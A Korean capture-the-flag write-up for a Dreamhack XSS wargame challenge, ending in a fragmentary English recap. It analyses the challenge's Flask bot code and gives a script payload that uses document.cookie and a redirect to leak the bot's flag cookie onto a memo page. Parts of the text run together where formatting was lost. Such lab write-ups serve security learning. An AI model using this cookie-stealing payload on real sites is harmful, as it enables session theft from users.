https://dreamhack.io/wargame/challenges/28
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 flag.txt, FLAG 변수에 있는 플래그를 획득하는 문제입니다.
생성된 서버에서 flag에 들어가면 입력 할 수 있는 url 칸이 나옵니다. 이 입력 칸을 이용해 xss 공격을 하는 문제입니다.

memo 칸에 접속해 보았습니다. 그랬더니 hello 란 글이 작성된걸 확인할 수 있습니다.

이때 url을 확인해보면 http://host3.dreamhack.games:10952/memo?memo=hello 입니다.
memo?memo=뒤에 들어간 값이 화면에 표시되는지 확인하기 위해 URL을 memo?memo=hi 로 변경해보았고, hi가 memo에 작성됨을 알 수 있습니다.
이를 통해 플래그 값을 memo간에 작성되도록 유도하는 문제임을 유추해볼 수 있었습니다.
제시된 app.py 를 확인해 봅니다.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
...
driver = webdriver.Chrome(service=service, options=options)
...
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
이 함수는
http://127.0.0.1:8000/ 에 먼저 접속합니다.read_url 에 전달된 쿠키를 driver.add_cookie(cookie)를 통해 봇 브라우저에 심습니다.driver.get(url))read_url이 어떻게 호출되었는지 확인하기 위해 check_xss 함수를 확인합니다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
check_xss 에 전달되는 쿠키값이 read_url 에 그대로 전달되어 브라우저에 심어지는 구조임을 확인할 수 있습니다.
check_xss 가 어떻게 호출되는지 확인하기 위해 /flag 라우트의 POST 부분을 확인합니다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
...
else:
...
여기에서 직접 {"name": "flag", "value": FLAG.strip()} 를 넘기고 있습니다.
이를 통해 FLAG 값이 flag라는 이름의 쿠키로 봇 브라우저에 심어지는 구조임을 확인할 수 있습니다.
flag에 접속해 <script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie;</script> 로 XSS 공격을 시도합니다.
location.href="http://127.0.0.1:8000/memo?memo=hello 는 플래그 값을 쿠키로 이미 심어둔 봇 브라우저가 해당 URL로 이동해 플래그가 메모에 남도록 유도하는 역할을 합니다.document.cookie 는 현재 브라우저의 쿠키 문자열을 반환합니다. 앞서 분석한 구조에 따라 flag=DH{...} 형태의 플래그가 쿠키에 담겨 있음을 알 수 있습니다.+는 자바스크립트에서 문자열 이어붙이기 연산자이며, 최종적으로 http://127.0.0.1:8000/memo?memo=helloflag=DH{...}로 이동하게 만들어, 플래그가 메모 페이지에 기록되도록 합니다.memo 에 접속해보니 성공적으로 플래그 값을 획득할 수 있었습니다.

+는 자바스크립트에서 문자열 이어붙이기 연산자임을 알게 되었습니다.flag.txt and the FLAG variable./flag and found a URL input field for the XSS payload./memo and confirmed that values after ?memo= are displayed on the page.app.py:http://127.0.0.1:8000/, sets a flag cookie with the flag value, and then visits the submitted URL.document.cookie in the payload to extract it. <script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie;</script>to send the flag to the memo page.